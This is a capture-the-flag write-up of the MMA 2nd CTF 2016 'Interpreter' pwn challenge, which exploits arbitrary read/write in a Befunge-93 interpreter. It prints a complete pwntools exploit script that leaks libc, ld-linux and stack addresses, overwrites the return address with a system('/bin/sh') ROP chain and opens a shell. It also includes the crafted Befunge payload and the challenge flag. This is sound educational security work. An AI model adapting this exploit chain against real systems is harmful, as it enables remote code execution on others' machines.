Home MMA 2nd CTF 2016 -- Interpreter
Post
Cancel

MMA 2nd CTF 2016 -- Interpreter

Category: pwn
Points: 200

64 bit ELF, with FULL RELRO, NX, stack guard & PIE enabled.

After doing some reversing, we found that it’s a Befunge-93 program interpreter. It will first read some Befunge-93 instructions (at most 20000 characters), then interpret & execute those instructions. The program will store those instructions at the program buffer, and the maximum of the executed instructions is 10000.

Here’s the pseudo code of the main function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// here I only list some important features of the program

int main()
{
    puts("Welcome to Online Befunge(93) Interpreter");
    puts("Please input your program.");
    program = read_program(); // read user input to buffer 'program'

    step = 10001;
    row = 0, col = 0;
    do
    {
        ins = program[80 * row + col]
            switch ( ins )
            {
                .....//other instruction...
                case '&': // ask user for a number and push it to stack
                    __isoc99_scanf("%d", &x);
                    push(x);
                    break;
                case '.': // Pop value and output as an integer followed by a space
                    x = pop();
                    __printf_chk(1LL, "%d ", x);
                    break;
                    .....//other instruction...
                case '*':  // pop x, y, push x*y
                    a = pop();
                    b = pop();
                    push(a * b);
                    break;
                        .....//other instruction...
                case 'g': // (get) Pop x and y, then push ASCII value of the character at that position in the program
                    x = pop();
                    y = pop();
                    push( (char)(program[80 * x + y]) );
                    break;
                case 'p': // (put) Pop x, y, and z, then change the character at (x,y) in the program to the character with ASCII value z
                    x = pop();
                    y = pop();
                    z = pop();
                    program[80 * x + y] = (char)z;
                    break;
                case ' ': // space = do nothing
                    break;
            }
        --step;
        // update row & column
        // do other stuff...
    }while ( step );
    puts("Too many steps. Is there any infinite loops?");
    return 0LL;
}

After we took some good look at the main function, we found that we’re able to trigger the read/write anywhere vulnerability by doing the followings:

  • By using the &, g and . instructions, we’re able to read the content of any memory address.
    • Use & to push an integer on the Stack (notice the uppercase S, this Stack variable is a buffer that the interpreter use to simulate the stack in a Befunge-93 program).
    • By doing g, the interpreter will first pop two values (let’s say x & y ) from Stack and push the content of program[80 * x + y] to the Stack. Since we can control the value of x & y, we can push the content of any address on Stack, and print it out by using the . instruction.
    • Notice that the & instruction only make us able to push an integer (32 bit) on the Stack. If we want to read the content that is far away from the program buffer, the value of x & y might have to be an long integer. To solve this problem, we can use the * instruction. It will pop two values (x & y) from the Stack and push x * y to Stack. It uses 64 bit registers during the whole operation, thus we can use this method to place a long integer on the Stack, then use g & . to leak the content of any memory address.
  • With the aforementioned methods, we can also use the p instruction to overwrite the content of any memory address.

So now we can leak and overwrite the content of whatever the memory address we want. The first thing we do is to leak the libc’s base address. Here I leak the address of __libc_start_main’s GOT, and use libc-database to get the libc’s version.

Now we’ll have to overwrite some address to hijack the control flow. Notice that there’s no function pointer in the program, and GOT were all read-only due to the FULL RELRO protection. The only way we can do this is to overwrite the return address.

So now we’ll have to get the stack address. But how? There’s no format string vulnerability, so it’s hard (nearly impossible) for us to leak the saved ebp or argv address on the stack. Also there’s no malloc or mmap, so it’s also impossible for us to locate the .tls section address and leak the pointer to stack which is placed in the very section.

By the time I was solving this challenge, the only way left I know is to leak the __libc_stack_end symbol in the ld-linux.so. To achieve this I’ll have to leak the ld-linux.so’s base address from the DT_DEBUG info, which is placed in the .dynamic section of the binary. As for the version of the ld-linux.so, I just assume it’s the same version with the libc.so, which is Ubuntu 14.04, 64bit. Luckily, the actual binary can be retrieved from my other VM.

It took me a lot of time and work to do the whole thing, and the method’s not elegant. Fortunately, it worked, and I was able to overwrite the return address with the typical x64 ROP chain: pop_rdi --> bin_sh -->system. At last, we are able to spawn a shell and get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
#!/usr/bin/env python

from pwn import *
import subprocess
import sys
import time
import math

HOST = "pwn1.chal.ctf.westerns.tokyo" 
PORT = 62839
ELF_PATH = "./befunge_patch"
LIBC_PATH = "/lib/x86_64-linux-gnu/libc.so.6"

# setting 
context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
context.log_level = 'INFO'

elf = ELF(ELF_PATH)
libc = ELF(LIBC_PATH)

def my_recvuntil(s, delim):
    res = ""
    while delim not in res:
        c = s.recv(1)
        res += c
        sys.stdout.write(c)
        sys.stdout.flush()
    return res

def myexec(cmd):
    return subprocess.check_output(cmd, shell=True)

def str_addr(s, f): # search string address in file
    result = list(f.search(s+"\x00"))
    if not len(result): # no result
        return None
    else:
        return result[0]

def leak_one_byte(off_1, off_80):
    r.sendline(str(off_1))
    r.sendline(str(off_80))
    ret = r.recvuntil(" ")
    return int(ret)

def leak_addr(base, off_80, name=None):
    ret_addr = 0
    cnt = 0
    for i in xrange(base, base+6):
        print "leaking %s byte : %d" % (name, cnt+1)
        ret = leak_one_byte(i, off_80)
        ret_addr = ret_addr | ((ret&0xff) << 8*cnt)
        cnt += 1

    return ret_addr

def cal_offset(addr, text_base):
    start_from = text_base + 0x202040
    offset = addr - start_from
    off_80 = offset/80
    off_1 = offset%80

    return off_1, off_80

def leak_far_addr(addr, text_base, name):
    ret_addr = 0
    cnt = 0
    off_1, off_80 = cal_offset(addr, text_base)
    temp = int(math.sqrt(off_80))
    off_1 = (off_80 - temp**2)*80 + off_1

    for i in xrange(off_1, off_1+6):
        print "leaking %s byte : %d" % (name, cnt+1)
        r.sendline(str(i))
        r.sendline(str(temp))
        r.sendline(str(temp))
        ret = int(r.recvuntil(" "))
        ret_addr = ret_addr | ((ret&0xff) << 8*cnt)
        cnt += 1

    return ret_addr

def write_far_addr(addr, text_base, name, value):
    cnt = 0
    off_1, off_80 = cal_offset(addr, text_base)
    temp = int(math.sqrt(off_80))
    off_1 = (off_80 - temp**2)*80 + off_1

    for i in xrange(off_1, off_1+6):
        v = (value>>(8*cnt)) & 0xff
        print "writing %s byte %d : %x" % (name, cnt+1, v)
        r.sendline(str(v))
        r.sendline(str(i))
        r.sendline(str(temp))
        r.sendline(str(temp))
        cnt += 1

if __name__ == "__main__":
    
    #LOCAL = True
    LOCAL = False
    
    # construct befunge-93 program
    preline = myexec("wc -l ./bbb | awk '{print $1}'")
    preline = int(preline)
    f = open("./bbb", "r")
    s = f.read()
    s += "\n"*(80-preline)
    
    r, LD = None, None
    if not LOCAL:
        r = remote(HOST, PORT)
        LD = ELF("/mnt/files/ld-linux-x86-64.so.2")
    else:
        r = process(ELF_PATH)
        LD = ELF("/lib64/ld-linux-x86-64.so.2")

    # send program
    r.sendlineafter("> ", s)
    r.recvuntil("> > > > > > > > > > > > > > > > > > > > > > > > ")

    # leak libc
    libc_main = leak_addr(-48, -2, "libc_main")
    libc_base, system, bin_sh = None, None, None
    # for local
    if LOCAL:
        libc.address += libc_main - libc.symbols['__libc_start_main']
        libc_base = libc.address
        system = libc.symbols['system']
        bin_sh = str_addr("sh\x00", libc)
    # for remote
    else: 
        libc_base = libc_main - 0x21e50
        system = libc_base + 0x0000000000046590
        bin_sh = libc_base + 0x17c8c3

    # leak text base
    text_base = leak_addr(-56, -9, "text_base")
    text_base -= 0xb00

    log.info("libc_base: "+hex(libc_base))
    log.info("text_base: "+hex(text_base))
    
    # leak r_debug
    r_debug = leak_addr(0, -7, "r_debug")
    log.info("r_debug: "+hex(r_debug))

    # traverse link_map structure & leak ld-linux.so base address
    link_map_addr = r_debug + 8
    link_map_text = leak_far_addr(link_map_addr, text_base, "link_map_text")
    log.info("link_map_text: "+hex(link_map_text))
    link_map_vdso = leak_far_addr(link_map_text+24, text_base, "link_map_vdso")
    log.info("link_map_vdso: "+hex(link_map_vdso))
    link_map_libc = leak_far_addr(link_map_vdso+24, text_base, "link_map_libc")
    log.info("link_map_libc: "+hex(link_map_libc))
    link_map_ld = leak_far_addr(link_map_libc+24, text_base, "link_map_ld")
    log.info("link_map_ld: "+hex(link_map_ld))
    ld_base = leak_far_addr(link_map_ld, text_base, "ld_base")
    log.info("ld_base: "+hex(ld_base))
    # leak __libc_stack_end in ld-linux.so, get stack address
    LD.address += ld_base
    log.info("libc_stack_end: "+hex(LD.symbols['__libc_stack_end']))
    stack_addr = leak_far_addr(LD.symbols['__libc_stack_end'], text_base, "stack addr")
    log.info("stack_addr: "+hex(stack_addr))
    
    pop_rdi = text_base + 0x000000000000120c
    ret_addr = stack_addr - 216
    log.info("ret_addr: "+hex(ret_addr))
    log.info("pop_rdi: "+hex(pop_rdi))
    log.info("bin_sh: "+hex(bin_sh))
    log.info("system: "+hex(system))
    
    # overwrite return address
    write_far_addr(ret_addr, text_base, "ret_addr", pop_rdi)
    write_far_addr(ret_addr+8, text_base, "ret_addr+8", bin_sh)
    write_far_addr(ret_addr+16, text_base, "ret_addr+16", system)

    r.interactive()

bbb is the Befunge-93 program I used to exploit the service :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
>                                    v
v.g&&.g&&.g&&.g&&.g&&.g&&            <
>&&g.&&g.&&g.&&g.&&g.&&g.            v
v.g&&.g&&.g&&.g&&.g&&.g&&            <
>&&&*g.&&&*g.&&&*g.&&&*g.&&&*g.&&&*g.v 
v                                    <
>&&&*g.&&&*g.&&&*g.&&&*g.&&&*g.&&&*g.v 
v                                    <
>&&&*g.&&&*g.&&&*g.&&&*g.&&&*g.&&&*g.v 
v                                    <
>&&&*g.&&&*g.&&&*g.&&&*g.&&&*g.&&&*g.v 
v                                    <
>&&&*g.&&&*g.&&&*g.&&&*g.&&&*g.&&&*g.v 
v                                    <
>&&&*g.&&&*g.&&&*g.&&&*g.&&&*g.&&&*g.v 
v                                    <
>&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*pv
v                                    < 
>&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*pv
v                                    < 
>&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*pv
v                                    < 
>                                    ^

flag : TWCTF{It_1s_eMerG3nCy}

After I pass the challenge and ask a girl from HITCON CTF team, she told me that there’s a symbol call environ in libc, which also store a stack address! And that’s the moment I realized I totally forgot to search the stack address in libc while debugging the program!

So the (way) more elegant way to solve this challenge is to leak the stack address via the environ symbol after we leak the libc’s base address. Guess I’ve still got a lot to learn in the pwn area :P

This post is licensed under CC BY-SA 4.0 by the author.

MMA 2nd CTF 2016 -- greeting

ASIS CTF Finals 2016 -- car market

Comments powered by Disqus.